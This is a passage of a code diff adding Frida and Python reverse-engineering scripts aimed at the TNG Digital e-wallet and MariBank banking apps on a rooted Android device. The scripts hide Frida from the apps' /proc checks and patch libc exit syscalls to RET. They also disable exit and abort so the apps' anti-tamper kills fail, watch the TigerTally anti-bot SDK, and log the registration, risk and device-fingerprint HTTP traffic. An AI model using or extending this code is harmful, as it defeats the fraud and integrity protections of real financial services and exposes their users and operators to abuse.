||||
} catch (e) { return len; }
|
||||
}
|
||||
var openat = findExport("libc.so","openat");
|
||||
var readFn = findExport("libc.so","read");
|
||||
if (openat) {
|
||||
Interceptor.attach(openat, {
|
||||
onEnter: function(args){ this.path = args[1].isNull()?null:args[1].readCString(); },
|
||||
onLeave: function(retval){
|
||||
var fd=retval.toInt32();
|
||||
if (fd>=0 && this.path && (this.path.indexOf("maps")>=0 || this.path.indexOf("status")>=0 || this.path.indexOf("task")>=0))
|
||||
tracked[fd]=this.path;
|
||||
}
|
||||
});
|
||||
}
|
||||
if (readFn) {
|
||||
Interceptor.attach(readFn, {
|
||||
onEnter: function(args){ this.fd=args[0].toInt32(); this.buf=args[1]; },
|
||||
onLeave: function(retval){
|
||||
var n=retval.toInt32();
|
||||
if (n>0 && tracked[this.fd]) retval.replace(ptr(filterBuf(this.buf, n)));
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Patch libc exit_group SVC
|
||||
var libc = Process.getModuleByName("libc.so");
|
||||
libc.enumerateRanges("r-x").forEach(function(r){
|
||||
for (var off=0; off+8<r.size; off+=4) {
|
||||
var p=r.base.add(off);
|
||||
var w;
|
||||
try { w=p.readU32(); } catch(e){ return; }
|
||||
if (w!==0xd2800bc8 && w!==0xd2800ba8 && w!==0x52800bc8 && w!==0x52800ba8) continue;
|
||||
for (var j=4;j<=24;j+=4) {
|
||||
var s=p.add(j);
|
||||
try {
|
||||
if (s.readU32()===0xd4000001) {
|
||||
Memory.protect(s,4,"rwx");
|
||||
s.writeU32(0xd65f03c0);
|
||||
log("SVC->RET "+s);
|
||||
}
|
||||
} catch(e2){}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Replace exit APIs
|
||||
["_exit","exit","abort"].forEach(function(n){
|
||||
var a=findExport("libc.so",n);
|
||||
if(!a) return;
|
||||
try {
|
||||
Interceptor.replace(a, new NativeCallback(function(c){ log("block "+n+"("+c+")"); }, "void", ["int"]));
|
||||
} catch(e){}
|
||||
});
|
||||
|
||||
log("stealth ready");
|
||||
"""
|
||||
|
||||
|
||||
def adb(*a):
|
||||
return subprocess.run([ADB, *a], capture_output=True, text=True)
|
||||
|
||||
|
||||
def on_msg(m, _d):
|
||||
print(m.get("payload", m), flush=True)
|
||||
|
||||
|
||||
def wait_alive(sec, label):
|
||||
for i in range(sec):
|
||||
time.sleep(1)
|
||||
p = adb("shell", "pidof", PKG).stdout.strip()
|
||||
act = ""
|
||||
dump = adb("shell", "dumpsys", "activity", "activities").stdout
|
||||
for line in dump.splitlines():
|
||||
if "tngdigital" in line.lower() and any(
|
||||
x in line for x in ("UserLogin", "SecurityError", "Splash", "topResumedActivity")
|
||||
):
|
||||
act = line.strip()[:120]
|
||||
break
|
||||
print("%s t=%ds pid=%s act=%s" % (label, i + 1, p or "DEAD", act), flush=True)
|
||||
if not p:
|
||||
return i + 1
|
||||
return sec
|
||||
|
||||
|
||||
def test_xposed_only():
|
||||
print("=== Xposed-only (monkey) ===", flush=True)
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
adb("logcat", "-c")
|
||||
time.sleep(0.3)
|
||||
adb(
|
||||
"shell",
|
||||
"monkey",
|
||||
"-p",
|
||||
PKG,
|
||||
"-c",
|
||||
"android.intent.category.LAUNCHER",
|
||||
"1",
|
||||
)
|
||||
alive = wait_alive(15, "XPOSED")
|
||||
print("xposed_alive_sec", alive, flush=True)
|
||||
for line in adb("logcat", "-d").stdout.splitlines():
|
||||
if "TngRoot" in line and any(
|
||||
x in line for x in ("install", "UserLogin", "short-circuit", "finishing", "blocked intent")
|
||||
):
|
||||
print(line[line.find("TngRoot") :][:180], flush=True)
|
||||
if "Displayed" in line and "tngdigital" in line:
|
||||
print(line.strip()[:200], flush=True)
|
||||
if "exited cleanly" in line:
|
||||
print(line.strip()[:160], flush=True)
|
||||
|
||||
|
||||
def test_frida_stealth():
|
||||
print("=== Frida stealth spawn ===", flush=True)
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(0.3)
|
||||
d = frida.get_usb_device(10)
|
||||
pid = d.spawn([PKG])
|
||||
s = d.attach(pid)
|
||||
sc = s.create_script(STEALTH)
|
||||
sc.on("message", on_msg)
|
||||
sc.load()
|
||||
d.resume(pid)
|
||||
alive = wait_alive(15, "FRIDA")
|
||||
print("frida_alive_sec", alive, flush=True)
|
||||
|
||||
|
||||
def main():
|
||||
test_xposed_only()
|
||||
test_frida_stealth()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
48
reverse/frida/run_tng_diag.py
Normal file
48
reverse/frida/run_tng_diag.py
Normal file
@@ -0,0 +1,48 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import frida
|
||||
|
||||
ADB = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
SCRIPT = Path(__file__).with_name("trace_tng_diag_exit.js").read_text(encoding="utf-8")
|
||||
|
||||
|
||||
def adb(*a):
|
||||
return subprocess.run([ADB, *a], capture_output=True, text=True)
|
||||
|
||||
|
||||
def on_msg(m, d):
|
||||
if m.get("type") == "send":
|
||||
print(m["payload"], flush=True)
|
||||
else:
|
||||
print(m, flush=True)
|
||||
|
||||
|
||||
def main():
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(0.5)
|
||||
d = frida.get_usb_device(10)
|
||||
pid = d.spawn([PKG])
|
||||
s = d.attach(pid)
|
||||
sc = s.create_script(SCRIPT)
|
||||
sc.on("message", on_msg)
|
||||
sc.load()
|
||||
print("resume", pid, flush=True)
|
||||
d.resume(pid)
|
||||
for i in range(15):
|
||||
time.sleep(1)
|
||||
p = adb("shell", "pidof", PKG).stdout.strip()
|
||||
print("t=%ds pid=%s" % (i + 1, p or "DEAD"), flush=True)
|
||||
if not p:
|
||||
break
|
||||
try:
|
||||
s.detach()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
42
reverse/frida/run_tng_empty_spawn.py
Normal file
42
reverse/frida/run_tng_empty_spawn.py
Normal file
@@ -0,0 +1,42 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import frida
|
||||
|
||||
ADB = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
|
||||
|
||||
def adb(*a):
|
||||
return subprocess.run([ADB, *a], capture_output=True, text=True)
|
||||
|
||||
|
||||
def main():
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
adb("logcat", "-c")
|
||||
time.sleep(0.3)
|
||||
d = frida.get_usb_device(10)
|
||||
pid = d.spawn([PKG])
|
||||
s = d.attach(pid)
|
||||
sc = s.create_script('send("empty ok " + String(Process.id));')
|
||||
sc.on("message", lambda m, _d: print(m, flush=True))
|
||||
sc.load()
|
||||
print("resume", pid, flush=True)
|
||||
d.resume(pid)
|
||||
for i in range(10):
|
||||
time.sleep(1)
|
||||
p = adb("shell", "pidof", PKG).stdout.strip()
|
||||
print("t=%d %s" % (i + 1, p or "DEAD"), flush=True)
|
||||
if not p:
|
||||
break
|
||||
print("--- death lines ---", flush=True)
|
||||
for line in adb("logcat", "-d").stdout.splitlines():
|
||||
if "exited cleanly" in line or "has died" in line and "tngdigital" in line:
|
||||
print(line[:240], flush=True)
|
||||
if "TngRoot" in line and ("install" in line or "short-circuit" in line or "blocked" in line):
|
||||
print(line[:240], flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
214
reverse/frida/run_tng_patch_libc_svc.py
Normal file
214
reverse/frida/run_tng_patch_libc_svc.py
Normal file
@@ -0,0 +1,214 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Resolve libc _exit real target and patch its SVC."""
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import frida
|
||||
|
||||
ADB = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
|
||||
SCRIPT = r"""
|
||||
"use strict";
|
||||
function log(m){ send("[TNG-native] "+m); }
|
||||
|
||||
function findExport(mod, name) {
|
||||
try {
|
||||
var m = Process.getModuleByName(mod);
|
||||
var a = m.findExportByName(name);
|
||||
if (a) return a;
|
||||
} catch (e) {}
|
||||
try { return Module.getGlobalExportByName(name); } catch (e2) { return null; }
|
||||
}
|
||||
|
||||
function resolveTrampoline(addr, name) {
|
||||
// Follow simple ADRP+ADD+BR / LDR+BR patterns a few times
|
||||
var cur = addr;
|
||||
for (var depth = 0; depth < 5; depth++) {
|
||||
var w0 = cur.readU32();
|
||||
var w1 = cur.add(4).readU32();
|
||||
// BR Xn: 0xD61F0000 | (Rn<<5)
|
||||
if ((w1 & 0xfffffc1f) === 0xd61f0000) {
|
||||
var rn = (w1 >> 5) & 0x1f;
|
||||
// LDR Xn, [PC, #imm] : 0x58000000
|
||||
if ((w0 & 0xff000000) === 0x58000000) {
|
||||
var imm19 = (w0 >> 5) & 0x7ffff;
|
||||
if (imm19 & 0x40000) imm19 -= 0x80000;
|
||||
var targetPtr = cur.add(imm19 * 4);
|
||||
var target = targetPtr.readPointer();
|
||||
log(name + " trampoline LDR+BR -> " + target);
|
||||
cur = target;
|
||||
continue;
|
||||
}
|
||||
// ADRP Xn, page
|
||||
if ((w0 & 0x9f000000) === 0x90000000) {
|
||||
var rd = w0 & 0x1f;
|
||||
var immhi = (w0 >> 5) & 0x7ffff;
|
||||
var immlo = (w0 >> 29) & 0x3;
|
||||
var imm = ((immhi << 2) | immlo) << 12;
|
||||
if (imm & 0x100000000) imm = imm - 0x200000000;
|
||||
var page = cur.and(ptr("0xfffffffffffff000")).add(imm);
|
||||
// next might be LDR/ADD
|
||||
var w2 = cur.add(8).readU32();
|
||||
log(name + " ADRP page="+page+" rn="+rn+" rd="+rd+" w2="+w2.toString(16));
|
||||
}
|
||||
log(name + " BR X" + rn + " at " + cur + " (stop follow)");
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
return cur;
|
||||
}
|
||||
|
||||
function patchSvcNear(addr, name, windowSize) {
|
||||
var nop = [0x1f, 0x20, 0x03, 0xd5];
|
||||
var n = 0;
|
||||
for (var i = 0; i < windowSize; i += 4) {
|
||||
try {
|
||||
var p = addr.add(i);
|
||||
if (p.readU32() !== 0xd4000001) continue;
|
||||
Memory.protect(p, 4, "rwx");
|
||||
// replace svc with: mov x0, x0; ret — or just nop and hope
|
||||
// Better: movz x0, #0; ret so "exit" becomes return 0
|
||||
// movz x0,#0 = 0xD2800000; ret = 0xD65F03C0
|
||||
p.writeU32(0xd2800000); // movz x0, #0
|
||||
if (i + 4 < windowSize) {
|
||||
var p2 = addr.add(i + 4);
|
||||
// only overwrite next if also svc/brk or nop pad — safer: write ret at svc place only via branch
|
||||
}
|
||||
// Just NOP the svc — caller may hang; use ret instead by overwriting svc with ret
|
||||
p.writeU32(0xd65f03c0); // RET
|
||||
n++;
|
||||
log("patched SVC->RET @ " + p + " (" + name + "+" + i + ")");
|
||||
} catch (e) {
|
||||
log("patch fail: " + e);
|
||||
}
|
||||
}
|
||||
return n;
|
||||
}
|
||||
|
||||
function hookByPatchingLibcExit() {
|
||||
var libc = Process.getModuleByName("libc.so");
|
||||
// Scan entire libc for the classic exit_group sequence:
|
||||
// mov x8, #94; mov x0, ...; svc #0 OR svc inside _exit impl
|
||||
var count = 0;
|
||||
var svcAddrs = [];
|
||||
// Focused: exports that must lead to exit
|
||||
["_exit", "exit"].forEach(function (n) {
|
||||
var a = libc.findExportByName(n);
|
||||
if (!a) return;
|
||||
log(n + " export " + a);
|
||||
// DebugSymbol / Instruction parse: find first BL/B to real impl
|
||||
});
|
||||
|
||||
// Brute: scan libc executable for movz x8,#94 followed within 16 bytes by svc
|
||||
var ranges = libc.enumerateRanges("r-x");
|
||||
ranges.forEach(function (r) {
|
||||
for (var off = 0; off + 8 < r.size; off += 4) {
|
||||
var p = r.base.add(off);
|
||||
var w;
|
||||
try { w = p.readU32(); } catch (e) { return; }
|
||||
// movz x8, #94 = 0xD2800BC8 ; movz w8,#94 = 0x52800BC8
|
||||
// movz x8, #93 = 0xD2800BA8
|
||||
if (w !== 0xd2800bc8 && w !== 0x52800bc8 && w !== 0xd2800ba8 && w !== 0x52800ba8) continue;
|
||||
// look ahead for svc
|
||||
for (var j = 4; j <= 24; j += 4) {
|
||||
try {
|
||||
if (p.add(j).readU32() === 0xd4000001) {
|
||||
svcAddrs.push(p.add(j));
|
||||
log("exit-seq movz@ " + p + " svc@ " + p.add(j));
|
||||
}
|
||||
} catch (e2) {}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
svcAddrs.forEach(function (svc) {
|
||||
try {
|
||||
Memory.protect(svc, 4, "rwx");
|
||||
// Replace svc with ret — turns exit into function return
|
||||
svc.writeU32(0xd65f03c0);
|
||||
count++;
|
||||
log("SVC->RET " + svc);
|
||||
} catch (e) {
|
||||
log("SVC patch fail " + svc + ": " + e);
|
||||
}
|
||||
});
|
||||
log("libc exit SVC patches=" + count);
|
||||
}
|
||||
|
||||
function installEntryLog() {
|
||||
["_exit", "exit", "abort"].forEach(function (n) {
|
||||
var a = findExport("libc.so", n);
|
||||
if (!a) return;
|
||||
try {
|
||||
Interceptor.attach(a, {
|
||||
onEnter: function (args) {
|
||||
log("ENTER " + n + "(" + args[0] + ")");
|
||||
}
|
||||
});
|
||||
} catch (e) {}
|
||||
});
|
||||
}
|
||||
|
||||
// Also Interceptor.replace as backup
|
||||
function installReplace() {
|
||||
["_exit", "exit", "abort"].forEach(function (n) {
|
||||
var a = findExport("libc.so", n);
|
||||
if (!a) return;
|
||||
try {
|
||||
Interceptor.replace(a, new NativeCallback(function (code) {
|
||||
log("REPLACED-HIT " + n + "(" + (code|0) + ")");
|
||||
}, "void", ["int"]));
|
||||
log("replaced " + n);
|
||||
} catch (e) {
|
||||
log("replace " + n + " fail: " + e);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
log("pid=" + Process.id);
|
||||
hookByPatchingLibcExit();
|
||||
installReplace();
|
||||
installEntryLog();
|
||||
log("ready");
|
||||
"""
|
||||
|
||||
|
||||
def adb(*a):
|
||||
return subprocess.run([ADB, *a], capture_output=True, text=True)
|
||||
|
||||
|
||||
def on_msg(m, d):
|
||||
print(m.get("payload", m), flush=True)
|
||||
|
||||
|
||||
def main():
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(0.4)
|
||||
device = frida.get_usb_device(10)
|
||||
pid = device.spawn([PKG])
|
||||
session = device.attach(pid)
|
||||
script = session.create_script(SCRIPT)
|
||||
script.on("message", on_msg)
|
||||
script.load()
|
||||
print("resume", pid, flush=True)
|
||||
device.resume(pid)
|
||||
for i in range(25):
|
||||
time.sleep(1)
|
||||
p = adb("shell", "pidof", PKG).stdout.strip()
|
||||
print("t=%ds %s" % (i + 1, p or "DEAD"), flush=True)
|
||||
if not p:
|
||||
break
|
||||
else:
|
||||
print("STABLE", flush=True)
|
||||
focus = adb("shell", "dumpsys", "activity", "activities").stdout
|
||||
for line in focus.splitlines():
|
||||
if "tngdigital" in line.lower() and any(
|
||||
x in line for x in ("UserLogin", "SecurityError", "Splash", "mResumed", "topResumed")
|
||||
):
|
||||
print("ACT", line.strip()[:200], flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
107
reverse/frida/run_tng_tiger_fread.py
Normal file
107
reverse/frida/run_tng_tiger_fread.py
Normal file
@@ -0,0 +1,107 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Spawn TNG, observe TigerTally fread blocking (observe-only, no behavior change)."""
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
import frida
|
||||
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
HERE = Path(__file__).resolve().parent
|
||||
LOGS_DIR = HERE.parent / "logs" / "frida"
|
||||
LOGS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
SCRIPT = HERE / "trace_tng_tiger_fread.js"
|
||||
LOG = LOGS_DIR / ("tng_tiger_fread_%s.log" % datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
ADB = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
HOLD_SEC = 45
|
||||
|
||||
|
||||
def on_message(message, data):
|
||||
mtype = message.get("type")
|
||||
if mtype == "send":
|
||||
line = message.get("payload")
|
||||
elif mtype == "log":
|
||||
line = message.get("payload", "")
|
||||
else:
|
||||
line = str(message)
|
||||
text = line if isinstance(line, str) else repr(line)
|
||||
print(text, flush=True)
|
||||
with open(LOG, "a", encoding="utf-8") as f:
|
||||
f.write(text + "\n")
|
||||
|
||||
|
||||
def adb(*args):
|
||||
return subprocess.run([ADB, *args], capture_output=True, text=True)
|
||||
|
||||
|
||||
def ensure_frida_server():
|
||||
out = adb("shell", "su", "-c", "pgrep -x frida-server")
|
||||
if out.stdout.strip():
|
||||
print("frida-server running pid=%s" % out.stdout.strip())
|
||||
return
|
||||
adb("shell", "su", "-c", "pkill -9 frida-server; true")
|
||||
subprocess.Popen(
|
||||
[ADB, "shell", "su", "-c", "/data/local/tmp/frida-server -D"],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
time.sleep(2)
|
||||
out = adb("shell", "su", "-c", "pgrep -x frida-server")
|
||||
if not out.stdout.strip():
|
||||
raise RuntimeError("frida-server failed to start")
|
||||
print("frida-server pid=%s" % out.stdout.strip())
|
||||
|
||||
|
||||
def main():
|
||||
ensure_frida_server()
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(1)
|
||||
|
||||
device = frida.get_usb_device(10)
|
||||
source = SCRIPT.read_text(encoding="utf-8")
|
||||
print("spawn %s ..." % PKG)
|
||||
print("log=%s" % LOG)
|
||||
|
||||
pid = device.spawn([PKG])
|
||||
session = device.attach(pid)
|
||||
script = session.create_script(source)
|
||||
script.on("message", on_message)
|
||||
script.load()
|
||||
print("script loaded, resume pid=%s" % pid)
|
||||
device.resume(pid)
|
||||
|
||||
alive = 0
|
||||
for i in range(HOLD_SEC):
|
||||
time.sleep(1)
|
||||
out = adb("shell", "pidof", PKG)
|
||||
pids = out.stdout.strip()
|
||||
if not pids:
|
||||
print("DEAD after %ss" % (i + 1))
|
||||
break
|
||||
alive = i + 1
|
||||
if (i + 1) % 5 == 0:
|
||||
print("alive %ss pid=%s" % (alive, pids))
|
||||
else:
|
||||
print("STABLE %ss pid=%s" % (HOLD_SEC, adb("shell", "pidof", PKG).stdout.strip()))
|
||||
|
||||
# 焦点 Activity
|
||||
focus = adb("shell", "dumpsys", "activity", "activities")
|
||||
for line in focus.stdout.splitlines():
|
||||
if "tngdigital" in line.lower() and (
|
||||
"mResumedActivity" in line or "topResumedActivity" in line
|
||||
or "UserLogin" in line or "SecurityError" in line or "Splash" in line
|
||||
):
|
||||
print("ACT: " + line.strip())
|
||||
|
||||
try:
|
||||
session.detach()
|
||||
except Exception:
|
||||
pass
|
||||
print("done alive=%ss log=%s" % (alive, LOG))
|
||||
return 0 if alive >= 15 else 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
52
reverse/frida/run_trace.py
Normal file
52
reverse/frida/run_trace.py
Normal file
@@ -0,0 +1,52 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Spawn MariBank with Frida trace and keep session alive."""
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import frida
|
||||
|
||||
PKG = "ph.seabank.seabank"
|
||||
HERE = Path(__file__).resolve().parent
|
||||
LOGS_DIR = HERE.parent / "logs" / "frida"
|
||||
LOGS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
SCRIPT = HERE / "trace_maribank_register.js"
|
||||
LOG = LOGS_DIR / "trace_live.log"
|
||||
|
||||
|
||||
def on_message(message, data):
|
||||
line = ""
|
||||
if message.get("type") == "send":
|
||||
line = str(message.get("payload", ""))
|
||||
elif message.get("type") == "error":
|
||||
line = "ERROR: " + str(message.get("stack", message))
|
||||
else:
|
||||
line = str(message)
|
||||
print(line, flush=True)
|
||||
with open(str(LOG), "a", encoding="utf-8", errors="replace") as f:
|
||||
f.write(line + "\n")
|
||||
|
||||
|
||||
def main():
|
||||
LOG.write_text("", encoding="utf-8")
|
||||
source = SCRIPT.read_text(encoding="utf-8")
|
||||
device = frida.get_usb_device(timeout=10)
|
||||
print("device:", device.name, flush=True)
|
||||
pid = device.spawn([PKG])
|
||||
print("spawned pid", pid, flush=True)
|
||||
session = device.attach(pid)
|
||||
script = session.create_script(source)
|
||||
script.on("message", on_message)
|
||||
script.load()
|
||||
device.resume(pid)
|
||||
print("resumed — 请在手机: Sign up -> 输入号码 -> Next", flush=True)
|
||||
print("log:", LOG, flush=True)
|
||||
try:
|
||||
while True:
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
print("detached", flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
60
reverse/frida/strace_tng_exit.py
Normal file
60
reverse/frida/strace_tng_exit.py
Normal file
@@ -0,0 +1,60 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Spawn TNG and strace for exit syscalls (needs root)."""
|
||||
import subprocess
|
||||
import time
|
||||
import sys
|
||||
|
||||
ADB = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
|
||||
|
||||
def adb(*args, timeout=30):
|
||||
return subprocess.run([ADB, *args], capture_output=True, text=True, timeout=timeout)
|
||||
|
||||
|
||||
def main():
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(0.5)
|
||||
adb("logcat", "-c")
|
||||
# start app
|
||||
adb(
|
||||
"shell",
|
||||
"monkey",
|
||||
"-p",
|
||||
PKG,
|
||||
"-c",
|
||||
"android.intent.category.LAUNCHER",
|
||||
"1",
|
||||
)
|
||||
time.sleep(0.4)
|
||||
out = adb("shell", "pidof", PKG)
|
||||
pid = out.stdout.strip().split()[0] if out.stdout.strip() else ""
|
||||
if not pid:
|
||||
print("no pid")
|
||||
return 1
|
||||
print("pid", pid)
|
||||
# strace briefly
|
||||
p = subprocess.Popen(
|
||||
[
|
||||
ADB,
|
||||
"shell",
|
||||
"su",
|
||||
"-c",
|
||||
f"timeout 8 strace -f -e trace=exit,exit_group,kill,tkill,tgkill,write -p {pid} 2>&1 | head -80",
|
||||
],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
text=True,
|
||||
)
|
||||
try:
|
||||
stdout, _ = p.communicate(timeout=15)
|
||||
print(stdout)
|
||||
except subprocess.TimeoutExpired:
|
||||
p.kill()
|
||||
print(p.stdout.read() if p.stdout else "timeout")
|
||||
print("alive?", adb("shell", "pidof", PKG).stdout.strip())
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
28
reverse/frida/test_attach.py
Normal file
28
reverse/frida/test_attach.py
Normal file
@@ -0,0 +1,28 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import frida
|
||||
import sys
|
||||
import time
|
||||
|
||||
PKG = "ph.seabank.seabank"
|
||||
d = frida.get_usb_device(10)
|
||||
pid = None
|
||||
for app in d.enumerate_applications():
|
||||
if app.identifier == PKG and app.pid and app.pid > 0:
|
||||
print("found", app.name, app.pid)
|
||||
pid = app.pid
|
||||
break
|
||||
if not pid:
|
||||
sys.exit("MariBank not running")
|
||||
|
||||
s = d.attach(pid)
|
||||
src = open(__file__.replace("test_attach.py", "trace_maribank_register.js"), encoding="utf-8").read()
|
||||
|
||||
def on_m(msg, data):
|
||||
print(msg)
|
||||
|
||||
sc = s.create_script(src)
|
||||
sc.on("message", on_m)
|
||||
sc.load()
|
||||
print("loaded, waiting 15s for hooks...")
|
||||
time.sleep(15)
|
||||
print("done test")
|
||||
45
reverse/frida/test_java_wait.py
Normal file
45
reverse/frida/test_java_wait.py
Normal file
@@ -0,0 +1,45 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import frida
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
PKG = "ph.seabank.seabank"
|
||||
ADB = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
subprocess.run([ADB, "shell", "monkey", "-p", PKG, "-c", "android.intent.category.LAUNCHER", "1"], capture_output=True)
|
||||
|
||||
d = frida.get_usb_device(10)
|
||||
pid = None
|
||||
for a in d.enumerate_applications():
|
||||
if a.identifier == PKG and a.pid > 0:
|
||||
pid = a.pid
|
||||
print("pid", pid, a.name)
|
||||
break
|
||||
if not pid:
|
||||
raise SystemExit("no pid")
|
||||
|
||||
s = d.attach(pid)
|
||||
JS = r"""
|
||||
var n = 0;
|
||||
function waitJava() {
|
||||
if (typeof Java !== 'undefined' && Java.available) {
|
||||
send({event: 'java_ready', n: n});
|
||||
Java.perform(function () {
|
||||
send({event: 'perform_ok'});
|
||||
});
|
||||
return;
|
||||
}
|
||||
n++;
|
||||
if (n % 10 === 0) send({event: 'waiting', n: n});
|
||||
if (n < 120) setTimeout(waitJava, 500);
|
||||
else send({event: 'timeout', n: n});
|
||||
}
|
||||
setImmediate(waitJava);
|
||||
"""
|
||||
|
||||
def on_m(msg, data):
|
||||
print(msg)
|
||||
|
||||
sc = s.create_script(JS)
|
||||
sc.on("message", on_m)
|
||||
sc.load()
|
||||
time.sleep(70)
|
||||
182
reverse/frida/trace_maribank_register.js
Normal file
182
reverse/frida/trace_maribank_register.js
Normal file
@@ -0,0 +1,182 @@
|
||||
'use strict';
|
||||
/**
|
||||
* MariBank 注册 trace — attach 模式优先,聚焦 Java 层(OkHttp / Gson / 加密包装)
|
||||
*/
|
||||
const TAG = '[MB-TRACE]';
|
||||
const MAX_STR = 2000;
|
||||
|
||||
function log(msg) {
|
||||
console.log(TAG + ' ' + msg);
|
||||
}
|
||||
|
||||
function shouldLogUrl(url) {
|
||||
if (!url) return false;
|
||||
const u = String(url).toLowerCase();
|
||||
return u.indexOf('register') >= 0 || u.indexOf('dfp') >= 0
|
||||
|| u.indexOf('risk') >= 0 || u.indexOf('uapi') >= 0;
|
||||
}
|
||||
|
||||
function hexPreview(arr, limit) {
|
||||
const n = Math.min(arr.length, limit || 64);
|
||||
let hex = '';
|
||||
for (let i = 0; i < n; i++) {
|
||||
const b = (arr[i] & 0xff).toString(16);
|
||||
hex += (b.length === 1 ? '0' : '') + b;
|
||||
}
|
||||
if (arr.length > n) hex += '...';
|
||||
return hex;
|
||||
}
|
||||
|
||||
function dumpJava(tag, obj) {
|
||||
if (obj === null || obj === undefined) {
|
||||
log(tag + ' = null');
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const cls = obj.getClass().getName();
|
||||
if (cls === '[B') {
|
||||
const arr = Java.cast(obj, Java.use('[B'));
|
||||
let text = '';
|
||||
try {
|
||||
text = Java.use('java.lang.String').$new(arr, 'UTF-8').toString();
|
||||
} catch (e) {
|
||||
text = '<bin>';
|
||||
}
|
||||
const show = text.length > MAX_STR ? text.substring(0, MAX_STR) + '...' : text;
|
||||
log(tag + ' byte[' + arr.length + '] hex=' + hexPreview(arr, 48) + ' text=' + show);
|
||||
return;
|
||||
}
|
||||
if (cls === 'java.lang.String') {
|
||||
const s = Java.cast(obj, Java.use('java.lang.String')).toString();
|
||||
const show = s.length > MAX_STR ? s.substring(0, MAX_STR) + '...' : s;
|
||||
log(tag + ' String(' + s.length + ') ' + show);
|
||||
return;
|
||||
}
|
||||
log(tag + ' ' + cls + ' = ' + obj.toString());
|
||||
} catch (e) {
|
||||
log(tag + ' err=' + e);
|
||||
}
|
||||
}
|
||||
|
||||
function hookOkHttp() {
|
||||
const RealCall = Java.use('okhttp3.RealCall');
|
||||
const orig = RealCall.execute;
|
||||
RealCall.execute.implementation = function () {
|
||||
const req = this.request();
|
||||
const url = req.url().toString();
|
||||
const method = req.method();
|
||||
if (shouldLogUrl(url)) {
|
||||
log('HTTP >> ' + method + ' ' + url);
|
||||
try {
|
||||
const body = req.body();
|
||||
if (body) {
|
||||
const Buffer = Java.use('okio.Buffer');
|
||||
const buf = Buffer.$new();
|
||||
body.writeTo(buf);
|
||||
const bytes = buf.readByteArray();
|
||||
if (bytes) dumpJava(' reqBody', Java.array('byte', bytes));
|
||||
}
|
||||
} catch (e) {
|
||||
log(' reqBody err: ' + e);
|
||||
}
|
||||
}
|
||||
const resp = orig.call(this);
|
||||
if (shouldLogUrl(url)) {
|
||||
try {
|
||||
const peek = resp.peekBody(Java.use('java.lang.Long').parseLong('1048576'));
|
||||
const s = peek.string();
|
||||
const show = s.length > MAX_STR ? s.substring(0, MAX_STR) + '...' : s;
|
||||
log('HTTP << ' + resp.code() + ' ' + show);
|
||||
} catch (e) {
|
||||
log('HTTP resp err: ' + e);
|
||||
}
|
||||
}
|
||||
return resp;
|
||||
};
|
||||
log('hooked RealCall.execute');
|
||||
}
|
||||
|
||||
function hookGson() {
|
||||
const Gson = Java.use('com.google.gson.Gson');
|
||||
Gson.toJson.overload('java.lang.Object').implementation = function (obj) {
|
||||
const ret = this.toJson(obj);
|
||||
if (ret) {
|
||||
const low = ret.toLowerCase();
|
||||
if (low.indexOf('mobile') >= 0 || low.indexOf('phone') >= 0
|
||||
